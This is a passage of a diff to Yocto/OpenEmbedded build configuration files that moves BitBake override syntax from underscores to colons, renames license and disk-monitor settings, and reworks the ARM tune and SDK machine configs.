-#MKLIBS_OPTIMIZED_IMAGES ?= "core-image-minimal"
-#This enable mklibs library size optimization will be for all the images.
-#MKLIBS_OPTIMIZED_IMAGES ?= "all"
-
-# Uncomment this if your host distribution provides the help2man tool.
-#ASSUME_PROVIDED += "help2man-native"
-
# This value is currently used by pseudo to determine if the recipe should
# build both the 32-bit and 64-bit wrapper libraries on a 64-bit build system.
#
@@ -140,7 +136,7 @@
# Uncomment the following lines to enable multilib builds
#require conf/multilib.conf
#MULTILIBS = "multilib:lib32"
-#DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+#DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
# Set RPM_PREFER_ELF_ARCH to configure preferred ABI when using rpm packaging
# backend to generate a rootfs, choices are:
@@ -182,14 +178,14 @@
# product. If shipped as part of an image these packages may have
# implications so they are disabled by default. To enable them,
# un-comment the below as appropriate.
-#LICENSE_FLAGS_WHITELIST = "commercial_gst-fluendo-mp3 \
-# commercial_gst-openmax \
-# commercial_gst-plugins-ugly \
-# commercial_lame \
-# commercial_libmad \
-# commercial_libomxil \
-# commercial_mpeg2dec \
-# commercial_qmmp"
+#LICENSE_FLAGS_ACCEPTED = "commercial_gst-fluendo-mp3 \
+# commercial_gst-openmax \
+# commercial_gst-plugins-ugly \
+# commercial_lame \
+# commercial_libmad \
+# commercial_libomxil \
+# commercial_mpeg2dec \
+# commercial_qmmp"
#
@@ -200,7 +196,7 @@
# "action,directory,minimum_space,minimum_free_inode"
#
# The "action" must be set and should be one of:
-# ABORT: Immediately abort
+# HALT: Immediately halt
# STOPTASKS: The new tasks can't be executed any more, will stop the build
# when the running tasks have been done.
# WARN: show warnings (see BB_DISKMON_WARNINTERVAL for more information)
@@ -302,7 +298,7 @@
# will correct this condition.
#
# By default the system looks in the BBPATH for files/passwd and files/group
-# the default can be overriden by spefying USERADD_UID/GID_TABLES.
+# the default can be overridden by specifying USERADD_UID/GID_TABLES.
#
#USERADDEXTENSION = "useradd-staticids"
#USERADD_UID_TABLES = "files/passwd"
@@ -318,7 +314,7 @@
# Note this is not officially supported and is just illustrated here to
# show an example of how it can be done
# You'll also need your fortran recipe to depend on libgfortran
-#FORTRAN_forcevariable = ",fortran"
+#FORTRAN:forcevariable = ",fortran"
#
# Kernel image features
@@ -326,7 +322,7 @@
# The INITRAMFS_IMAGE image variable will cause an additional recipe to
# be built as a dependency to the what ever rootfs recipe you might be
# using such as core-image-sato. The initramfs might be needed for
-# the initial boot of of the target system such as to load kernel
+# the initial boot of the target system such as to load kernel
# modules prior to mounting the root file system.
#
# INITRAMFS_IMAGE_BUNDLE variable controls if the image recipe
@@ -366,23 +362,12 @@
#
#
-# Use busybox/mdev for system initialization
+# System initialization
#
-#VIRTUAL-RUNTIME_dev_manager = "busybox-mdev"
-#VIRTUAL-RUNTIME_login_manager = "busybox"
-#VIRTUAL-RUNTIME_init_manager = "busybox"
-#VIRTUAL-RUNTIME_initscripts = "initscripts"
-#VIRTUAL-RUNTIME_keymaps = "keymaps"
-#DISTRO_FEATURES_BACKFILL_CONSIDERED += "sysvinit"
-
-#
-# Use systemd for system initialization
-#
-#DISTRO_FEATURES_append = " systemd"
-#DISTRO_FEATURES_BACKFILL_CONSIDERED += "sysvinit"
-#VIRTUAL-RUNTIME_login_manager = "shadow-base"
-#VIRTUAL-RUNTIME_init_manager = "systemd"
-#VIRTUAL-RUNTIME_initscripts = "systemd-compat-units"
+#INIT_MANAGER = "none"
+#INIT_MANAGER = "sysvinit"
+#INIT_MANAGER = "systemd"
+#INIT_MANAGER = "mdev-busybox"
#
# Use a full set of packages instead of busybox for base utils
@@ -391,3 +376,14 @@
#VIRTUAL-RUNTIME_base-utils = "packagegroup-core-base-utils"
#VIRTUAL-RUNTIME_base-utils-hwclock = "util-linux-hwclock"
#VIRTUAL-RUNTIME_base-utils-syslog = "syslog"
+
+#
+# Enable LTO system-wide
+#
+#require conf/distro/include/lto.inc
+#DISTRO_FEATURES:append = " lto"
+
+#
+# Set PS1 for SDK
+#
+#SDK_PS1 ?= "${SDK_NAME}${SDK_VENDOR}:\$ "
diff --git a/meta/conf/machine-sdk/aarch64.conf b/meta/conf/machine-sdk/aarch64.conf
index 98d8380ecb..4a285cf6cb 100644
--- a/meta/conf/machine-sdk/aarch64.conf
+++ b/meta/conf/machine-sdk/aarch64.conf
@@ -1,2 +1,2 @@
SDK_ARCH = "aarch64"
-ABIEXTENSION_class-nativesdk = ""
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine-sdk/i586.conf b/meta/conf/machine-sdk/i586.conf
index 41e5e159d1..05e826965e 100644
--- a/meta/conf/machine-sdk/i586.conf
+++ b/meta/conf/machine-sdk/i586.conf
@@ -1,4 +1,4 @@
SDK_ARCH = "i586"
SDK_CC_ARCH = "-march=i586"
-ABIEXTENSION_class-nativesdk = ""
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine-sdk/i686.conf b/meta/conf/machine-sdk/i686.conf
index fe406972c8..22f580e70f 100644
--- a/meta/conf/machine-sdk/i686.conf
+++ b/meta/conf/machine-sdk/i686.conf
@@ -1,3 +1,3 @@
SDK_ARCH = "i686"
SDK_CC_ARCH = "-march=i686"
-ABIEXTENSION_class-nativesdk = ""
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine-sdk/ppc64.conf b/meta/conf/machine-sdk/ppc64.conf
new file mode 100644
index 0000000000..b41325dfe7
--- /dev/null
+++ b/meta/conf/machine-sdk/ppc64.conf
@@ -0,0 +1,2 @@
+SDK_ARCH = "ppc64"
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine-sdk/ppc64le.conf b/meta/conf/machine-sdk/ppc64le.conf
new file mode 100644
index 0000000000..db1f863496
--- /dev/null
+++ b/meta/conf/machine-sdk/ppc64le.conf
@@ -0,0 +1,2 @@
+SDK_ARCH = "ppc64le"
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine-sdk/x86_64.conf b/meta/conf/machine-sdk/x86_64.conf
index 61439b4fb0..8d494b261e 100644
--- a/meta/conf/machine-sdk/x86_64.conf
+++ b/meta/conf/machine-sdk/x86_64.conf
@@ -1,2 +1,2 @@
SDK_ARCH = "x86_64"
-ABIEXTENSION_class-nativesdk = ""
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine/include/README b/meta/conf/machine/include/README
index d66130acbc..3ae68231d0 100644
--- a/meta/conf/machine/include/README
+++ b/meta/conf/machine/include/README
@@ -31,10 +31,10 @@ TUNECONFLICTS[feature] - A list of features which conflict with <feature>.
New sanity checks will try to reject combinations in which a single
tuning ends up with features which conflict with each other.
-TUNE_FEATURES - This is automatically defined as TUNE_FEATURES_tune-<tune>.
-See TUNE_FEATURES_tune-<tune> for more information.
+TUNE_FEATURES - This is automatically defined as TUNE_FEATURES:tune-<tune>.
+See TUNE_FEATURES:tune-<tune> for more information.
-TUNE_FEATURES_tune-<tune> - Specify the features used to describe a
+TUNE_FEATURES:tune-<tune> - Specify the features used to describe a
specific tune. This is a list of features that a tune support, each
feature must be in the TUNEVALID list. Note: the tune and a given
feature name may be the same, but they have different purposes. Only
@@ -66,10 +66,10 @@ CPU family.
PACKAGE_EXTRA_ARCHS - Lists all runtime compatible package
architectures. By default this is equal to
-PACKAGE_EXTRA_ARCHS_tune-<tune>. If an architecture deviates from the
+PACKAGE_EXTRA_ARCHS:tune-<tune>. If an architecture deviates from the
default it will be listed in the architecture README.
-PACKAGE_EXTRA_ARCHS_tune-<tune> - List all of the package architectures
+PACKAGE_EXTRA_ARCHS:tune-<tune> - List all of the package architectures
that are compatible with this specific tune. The package arch of this
tune must be in the list.
@@ -79,7 +79,7 @@ architecture specific floating point. This is synchronized with the
compiler and other toolchain items. This should be dynamically
configured in the same way that TUNE_CCARGS is.
-BASE_LIB_tune-<tune> - The "/lib" location for a specific ABI. This is
+BASE_LIB:tune-<tune> - The "/lib" location for a specific ABI. This is
used in a multilib configuration to place the libraries in the correct,
non-conflicting locations.
diff --git a/meta/conf/machine/include/arm/README b/meta/conf/machine/include/arm/README
index a1beb75fdf..c5637798e6 100644
--- a/meta/conf/machine/include/arm/README
+++ b/meta/conf/machine/include/arm/README
@@ -10,7 +10,7 @@ of the existence of the "bigendian" feature in a given tune.
A small set of ARM specific variables have been defined to allow
TUNE_PKGARCH to be automatically defined. Optimized tunings must NOT
-change the definiton of TUNE_PKGARCH. TUNE_PKGACH_tune-<tune> will be
+change the definiton of TUNE_PKGARCH. TUNE_PKGACH:tune-<tune> will be
ignored. The format of the package arch is enforced by the TUNE_PKGARCH
default. The format must be of the form:
<armversion>[t][e][hf][b][-vfp][-neon]
diff --git a/meta/conf/machine/include/arm/arch-arm.inc b/meta/conf/machine/include/arm/arch-arm.inc
index 99625d8417..f1e92e19c6 100644
--- a/meta/conf/machine/include/arm/arch-arm.inc
+++ b/meta/conf/machine/include/arm/arch-arm.inc
@@ -1,7 +1,7 @@
TUNEVALID[bigendian] = "Enable big-endian mode."
-ARMPKGARCH = "${ARMPKGARCH_tune-${DEFAULTTUNE}}"
+ARMPKGARCH = "${ARMPKGARCH:tune-${DEFAULTTUNE}}"
ARMPKGSFX_ENDIAN = "${@bb.utils.contains('TUNE_FEATURES', 'bigendian', 'b', '', d)}"
ARMPKGSFX_FPU ??= ""
ARMPKGSFX_DSP ??= ""
@@ -14,3 +14,7 @@ TUNE_PKGARCH = "${ARMPKGARCH}${ARMPKGSFX_THUMB}${ARMPKGSFX_DSP}${ARMPKGSFX_EABI}
ABIEXTENSION = "eabi"
TARGET_FPU = "${@d.getVar('TUNE_CCARGS_MFLOAT') or 'soft'}"
+
+# Some -march settings need a +X option passed in. Since we cannot guarantee that any specified TUNE_CCARGS option is set in any order, we must hard code the order here to allow for it.
+TUNE_CCARGS_MARCH_OPTS ??= ""
+TUNE_CCARGS .= "${TUNE_CCARGS_MARCH}${TUNE_CCARGS_MARCH_OPTS}"
diff --git a/meta/conf/machine/include/arm/arch-arm64.inc b/meta/conf/machine/include/arm/arch-arm64.inc
index 53f4566815..0e2efb5a40 100644
--- a/meta/conf/machine/include/arm/arch-arm64.inc
+++ b/meta/conf/machine/include/arm/arch-arm64.inc
@@ -3,24 +3,27 @@ DEFAULTTUNE ?= "aarch64"
require conf/machine/include/arm/arch-armv7ve.inc
TUNEVALID[aarch64] = "Enable instructions for aarch64"
+TUNECONFLICTS[aarch64] = "armv4 armv5 armv6 armv7 armv7a"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', 'aarch64:', '' ,d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', 'aarch64:', '', d)}"
# Little Endian base configs
AVAILTUNES += "aarch64 aarch64_be"
-ARMPKGARCH_tune-aarch64 ?= "aarch64"
-ARMPKGARCH_tune-aarch64_be ?= "aarch64_be"
-TUNE_FEATURES_tune-aarch64 = "aarch64"
-TUNE_FEATURES_tune-aarch64_be = "${TUNE_FEATURES_tune-aarch64} bigendian"
-BASE_LIB_tune-aarch64 = "lib64"
-BASE_LIB_tune-aarch64_be = "lib64"
-
-PACKAGE_EXTRA_ARCHS_tune-aarch64 = "aarch64"
-PACKAGE_EXTRA_ARCHS_tune-aarch64_be = "aarch64_be"
+ARMPKGARCH:tune-aarch64 ?= "aarch64"
+ARMPKGARCH:tune-aarch64_be ?= "aarch64"
+TUNE_FEATURES:tune-aarch64 = "aarch64"
+TUNE_FEATURES:tune-aarch64_be = "${TUNE_FEATURES:tune-aarch64} bigendian"
+TUNE_PKGARCH_64:tune-aarch64 = "aarch64"
+TUNE_PKGARCH_64:tune-aarch64_be = "aarch64_be"
+BASE_LIB:tune-aarch64 = "lib64"
+BASE_LIB:tune-aarch64_be = "lib64"
+
+PACKAGE_EXTRA_ARCHS:tune-aarch64 = "aarch64"
+PACKAGE_EXTRA_ARCHS:tune-aarch64_be = "aarch64_be"
ARMPKGSFX_ENDIAN_64 = "${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '_be', '', d)}"
TUNE_ARCH_64 = "aarch64${ARMPKGSFX_ENDIAN_64}"
-TUNE_PKGARCH_64 = "aarch64${ARMPKGSFX_ENDIAN_64}"
+TUNE_PKGARCH_64 = "${ARMPKGARCH}${ARMPKGSFX_ENDIAN_64}"
ABIEXTENSION_64 = ""
TARGET_FPU_64 = ""
@@ -30,7 +33,7 @@ TUNE_PKGARCH_32 = "${ARMPKGARCH}${ARMPKGSFX_THUMB}${ARMPKGSFX_DSP}${ARMPKGSFX_EA
ABIEXTENSION_32 = "eabi"
TARGET_FPU_32 = "${@d.getVar('TUNE_CCARGS_MFLOAT') or 'soft'}"
-TUNE_ARCH = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TUNE_ARCH_64}', '${TUNE_ARCH_32}' ,d)}"
-TUNE_PKGARCH = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TUNE_PKGARCH_64}', '${TUNE_PKGARCH_32}' ,d)}"
-ABIEXTENSION = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${ABIEXTENSION_64}', '${ABIEXTENSION_32}' ,d)}"
-TARGET_FPU = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TARGET_FPU_64}', '${TARGET_FPU_32}' ,d)}"
+TUNE_ARCH = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TUNE_ARCH_64}', '${TUNE_ARCH_32}', d)}"
+TUNE_PKGARCH = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TUNE_PKGARCH_64}', '${TUNE_PKGARCH_32}', d)}"
+ABIEXTENSION = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${ABIEXTENSION_64}', '${ABIEXTENSION_32}', d)}"
+TARGET_FPU = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TARGET_FPU_64}', '${TARGET_FPU_32}', d)}"
diff --git a/meta/conf/machine/include/arm/arch-armv4.inc b/meta/conf/machine/include/arm/arch-armv4.inc
index 47a7ad2830..be5761fb20 100644
--- a/meta/conf/machine/include/arm/arch-armv4.inc
+++ b/meta/conf/machine/include/arm/arch-armv4.inc
@@ -2,7 +2,7 @@ DEFAULTTUNE ?= "armv4"
TUNEVALID[arm] = "Enable ARM instruction set"
TUNEVALID[armv4] = "Enable instructions for ARMv4"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv4', ' -march=armv4t', '', d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv4', ' -march=armv4${ARMPKGSFX_THUMB}', '', d)}"
# enable --fix-v4bx when we have armv4 in TUNE_FEATURES, but then disable it when we have also armv5 or thumb
# maybe we should extend bb.utils.contains to support check for any checkvalues in value, now it does
# checkvalues.issubset(val) which cannot be used for negative test of foo neither bar in value
@@ -10,25 +10,25 @@ FIX_V4BX_ARMV4 = "${@bb.utils.contains('TUNE_FEATURES', 'armv4', '--fix-v4bx', '
FIX_V4BX_ARMV5 = "${@bb.utils.contains('TUNE_FEATURES', 'armv5', '', '${FIX_V4BX_ARMV4}', d)}"
FIX_V4BX = "${@bb.utils.contains('TUNE_FEATURES', 'thumb', '', '${FIX_V4BX_ARMV5}', d)}"
TARGET_LD_KERNEL_ARCH += "${FIX_V4BX}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv4', 'armv4:', '' ,d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv4', 'armv4:', '', d)}"
require conf/machine/include/arm/arch-arm.inc
require conf/machine/include/arm/feature-arm-thumb.inc
# Little Endian
AVAILTUNES += "armv4 armv4t"
-ARMPKGARCH_tune-armv4 ?= "armv4"
-ARMPKGARCH_tune-armv4t ?= "armv4"
-TUNE_FEATURES_tune-armv4 = "arm armv4"
-TUNE_FEATURES_tune-armv4t = "${TUNE_FEATURES_tune-armv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-armv4 = "arm armv4"
-PACKAGE_EXTRA_ARCHS_tune-armv4t = "${PACKAGE_EXTRA_ARCHS_tune-armv4} armv4t"
+ARMPKGARCH:tune-armv4 ?= "armv4"
+ARMPKGARCH:tune-armv4t ?= "armv4"
+TUNE_FEATURES:tune-armv4 = "arm armv4"
+TUNE_FEATURES:tune-armv4t = "${TUNE_FEATURES:tune-armv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-armv4 = "arm armv4"
+PACKAGE_EXTRA_ARCHS:tune-armv4t = "${PACKAGE_EXTRA_ARCHS:tune-armv4} armv4t"
# Big Endian
AVAILTUNES += "armv4b armv4tb"
-ARMPKGARCH_tune-armv4b ?= "armv4"
-ARMPKGARCH_tune-armv4tb ?= "armv4"
-TUNE_FEATURES_tune-armv4b = "${TUNE_FEATURES_tune-armv4} bigendian"
-TUNE_FEATURES_tune-armv4tb = "${TUNE_FEATURES_tune-armv4t} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv4b = "armeb armv4b"
-PACKAGE_EXTRA_ARCHS_tune-armv4tb = "${PACKAGE_EXTRA_ARCHS_tune-armv4b} armv4tb"
+ARMPKGARCH:tune-armv4b ?= "armv4"
+ARMPKGARCH:tune-armv4tb ?= "armv4"
+TUNE_FEATURES:tune-armv4b = "${TUNE_FEATURES:tune-armv4} bigendian"
+TUNE_FEATURES:tune-armv4tb = "${TUNE_FEATURES:tune-armv4t} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv4b = "armeb armv4b"
+PACKAGE_EXTRA_ARCHS:tune-armv4tb = "${PACKAGE_EXTRA_ARCHS:tune-armv4b} armv4tb"
diff --git a/meta/conf/machine/include/arm/arch-armv5-dsp.inc b/meta/conf/machine/include/arm/arch-armv5-dsp.inc
index d117af1520..f3c749d722 100644
--- a/meta/conf/machine/include/arm/arch-armv5-dsp.inc
+++ b/meta/conf/machine/include/arm/arch-armv5-dsp.inc
@@ -1,3 +1,4 @@
+# Can't use feature-arm-dsp.inc, since that will add "+dsp", which isn't supported in GCC for ARMv5
ARMPKGSFX_DSP = "${@bb.utils.contains('TUNE_FEATURES', [ 'dsp' ], 'e', '', d)}"
TUNEVALID[dsp] = "ARM DSP functionality"
@@ -5,48 +6,48 @@ require conf/machine/include/arm/arch-armv5.inc
# Little Endian
AVAILTUNES += "armv5e armv5te"
-ARMPKGARCH_tune-armv5e ?= "armv5"
-ARMPKGARCH_tune-armv5te ?= "armv5"
-TUNE_FEATURES_tune-armv5e = "${TUNE_FEATURES_tune-armv5} dsp"
-TUNE_FEATURES_tune-armv5te = "${TUNE_FEATURES_tune-armv5t} dsp"
-PACKAGE_EXTRA_ARCHS_tune-armv5e = "${PACKAGE_EXTRA_ARCHS_tune-armv5} armv5e"
-PACKAGE_EXTRA_ARCHS_tune-armv5te = "${PACKAGE_EXTRA_ARCHS_tune-armv5t} armv5e armv5te"
+ARMPKGARCH:tune-armv5e ?= "armv5"
+ARMPKGARCH:tune-armv5te ?= "armv5"
+TUNE_FEATURES:tune-armv5e = "${TUNE_FEATURES:tune-armv5} dsp"
+TUNE_FEATURES:tune-armv5te = "${TUNE_FEATURES:tune-armv5t} dsp"
+PACKAGE_EXTRA_ARCHS:tune-armv5e = "${PACKAGE_EXTRA_ARCHS:tune-armv5} armv5e"
+PACKAGE_EXTRA_ARCHS:tune-armv5te = "${PACKAGE_EXTRA_ARCHS:tune-armv5t} armv5e armv5te"
# Little Endian + VFP/DSP
AVAILTUNES += "armv5e-vfp armv5te-vfp armv5ehf-vfp armv5tehf-vfp"
-ARMPKGARCH_tune-armv5e-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5te-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5ehf-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5tehf-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5e-vfp = "${TUNE_FEATURES_tune-armv5e} vfp"
-TUNE_FEATURES_tune-armv5te-vfp = "${TUNE_FEATURES_tune-armv5te} vfp"
-TUNE_FEATURES_tune-armv5ehf-vfp = "${TUNE_FEATURES_tune-armv5e-vfp} callconvention-hard"
-TUNE_FEATURES_tune-armv5tehf-vfp = "${TUNE_FEATURES_tune-armv5te-vfp} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv5e-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5-vfp} armv5e armv5e-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5te-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5t-vfp} armv5e armv5te armv5e-vfp armv5te-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5ehf-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5hf-vfp} armv5ehf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5tehf-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5thf-vfp} armv5ehf-vfp armv5tehf-vfp"
+ARMPKGARCH:tune-armv5e-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5te-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5ehf-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5tehf-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5e-vfp = "${TUNE_FEATURES:tune-armv5e} vfp"
+TUNE_FEATURES:tune-armv5te-vfp = "${TUNE_FEATURES:tune-armv5te} vfp"
+TUNE_FEATURES:tune-armv5ehf-vfp = "${TUNE_FEATURES:tune-armv5e-vfp} callconvention-hard"
+TUNE_FEATURES:tune-armv5tehf-vfp = "${TUNE_FEATURES:tune-armv5te-vfp} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv5e-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5-vfp} armv5e armv5e-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5te-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5t-vfp} armv5e armv5te armv5e-vfp armv5te-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5ehf-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5hf-vfp} armv5ehf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5tehf-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5thf-vfp} armv5ehf-vfp armv5tehf-vfp"
# Big Endian
AVAILTUNES += "armv5eb armv5teb"
-ARMPKGARCH_tune-armv5eb ?= "armv5"
-ARMPKGARCH_tune-armv5teb ?= "armv5"
-TUNE_FEATURES_tune-armv5eb = "${TUNE_FEATURES_tune-armv5e} bigendian"
-TUNE_FEATURES_tune-armv5teb = "${TUNE_FEATURES_tune-armv5te} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5eb = "${PACKAGE_EXTRA_ARCHS_tune-armv5b} armv5eb"
-PACKAGE_EXTRA_ARCHS_tune-armv5teb = "${PACKAGE_EXTRA_ARCHS_tune-armv5tb} armv5eb armv5teb"
+ARMPKGARCH:tune-armv5eb ?= "armv5"
+ARMPKGARCH:tune-armv5teb ?= "armv5"
+TUNE_FEATURES:tune-armv5eb = "${TUNE_FEATURES:tune-armv5e} bigendian"
+TUNE_FEATURES:tune-armv5teb = "${TUNE_FEATURES:tune-armv5te} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5eb = "${PACKAGE_EXTRA_ARCHS:tune-armv5b} armv5eb"
+PACKAGE_EXTRA_ARCHS:tune-armv5teb = "${PACKAGE_EXTRA_ARCHS:tune-armv5tb} armv5eb armv5teb"
# Big Endian + VFP/DSP
AVAILTUNES += "armv5eb-vfp armv5teb-vfp armv5ehfb-vfp armv5tehfb-vfp"
-ARMPKGARCH_tune-armv5eb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5teb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5ehfb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5tehfb-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5eb-vfp = "${TUNE_FEATURES_tune-armv5e-vfp} bigendian"
-TUNE_FEATURES_tune-armv5teb-vfp = "${TUNE_FEATURES_tune-armv5te-vfp} bigendian"
-TUNE_FEATURES_tune-armv5ehfb-vfp = "${TUNE_FEATURES_tune-armv5ehf-vfp} bigendian"
-TUNE_FEATURES_tune-armv5tehfb-vfp = "${TUNE_FEATURES_tune-armv5tehf-vfp} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5eb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5b-vfp} armv5eb armv5eb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5teb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5tb-vfp} armv5eb armv5teb armv5eb-vfp armv5teb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5ehfb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5hfb-vfp} armv5ehfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5tehfb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5thfb-vfp} armv5ehfb-vfp armv5tehfb-vfp"
+ARMPKGARCH:tune-armv5eb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5teb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5ehfb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5tehfb-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5eb-vfp = "${TUNE_FEATURES:tune-armv5e-vfp} bigendian"
+TUNE_FEATURES:tune-armv5teb-vfp = "${TUNE_FEATURES:tune-armv5te-vfp} bigendian"
+TUNE_FEATURES:tune-armv5ehfb-vfp = "${TUNE_FEATURES:tune-armv5ehf-vfp} bigendian"
+TUNE_FEATURES:tune-armv5tehfb-vfp = "${TUNE_FEATURES:tune-armv5tehf-vfp} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5eb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5b-vfp} armv5eb armv5eb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5teb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5tb-vfp} armv5eb armv5teb armv5eb-vfp armv5teb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5ehfb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5hfb-vfp} armv5ehfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5tehfb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5thfb-vfp} armv5ehfb-vfp armv5tehfb-vfp"
diff --git a/meta/conf/machine/include/arm/arch-armv5.inc b/meta/conf/machine/include/arm/arch-armv5.inc
index f9068af9de..6bb465e7b6 100644
--- a/meta/conf/machine/include/arm/arch-armv5.inc
+++ b/meta/conf/machine/include/arm/arch-armv5.inc
@@ -2,56 +2,56 @@ DEFAULTTUNE ?= "armv5"
TUNEVALID[armv5] = "Enable instructions for ARMv5"
TUNECONFLICTS[armv5] = "armv4"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv5', ' -march=armv5t${ARMPKGSFX_DSP}', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv5', 'armv5:', '' ,d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv5', ' -march=armv5t${ARMPKGSFX_DSP}', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv5', 'armv5:', '', d)}"
require conf/machine/include/arm/arch-armv4.inc
require conf/machine/include/arm/feature-arm-vfp.inc
# Little Endian
AVAILTUNES += "armv5 armv5t"
-ARMPKGARCH_tune-armv5 ?= "armv5"
-ARMPKGARCH_tune-armv5t ?= "armv5"
-TUNE_FEATURES_tune-armv5 = "arm armv5"
-TUNE_FEATURES_tune-armv5t = "${TUNE_FEATURES_tune-armv5} thumb"
-PACKAGE_EXTRA_ARCHS_tune-armv5 = "${PACKAGE_EXTRA_ARCHS_tune-armv4} armv5"
-PACKAGE_EXTRA_ARCHS_tune-armv5t = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} armv5 armv5t"
+ARMPKGARCH:tune-armv5 ?= "armv5"
+ARMPKGARCH:tune-armv5t ?= "armv5"
+TUNE_FEATURES:tune-armv5 = "arm armv5"
+TUNE_FEATURES:tune-armv5t = "${TUNE_FEATURES:tune-armv5} thumb"
+PACKAGE_EXTRA_ARCHS:tune-armv5 = "${PACKAGE_EXTRA_ARCHS:tune-armv4} armv5"
+PACKAGE_EXTRA_ARCHS:tune-armv5t = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} armv5 armv5t"
# Little Endian + VFP/DSP
AVAILTUNES += "armv5-vfp armv5t-vfp armv5hf-vfp armv5thf-vfp"
-ARMPKGARCH_tune-armv5-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5t-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5hf-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5thf-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5-vfp = "${TUNE_FEATURES_tune-armv5} vfp"
-TUNE_FEATURES_tune-armv5t-vfp = "${TUNE_FEATURES_tune-armv5t} vfp"
-TUNE_FEATURES_tune-armv5hf-vfp = "${TUNE_FEATURES_tune-armv5-vfp} callconvention-hard"
-TUNE_FEATURES_tune-armv5thf-vfp = "${TUNE_FEATURES_tune-armv5t-vfp} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv5-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5} armv5-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5t-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5t} armv5-vfp armv5t-vfp"
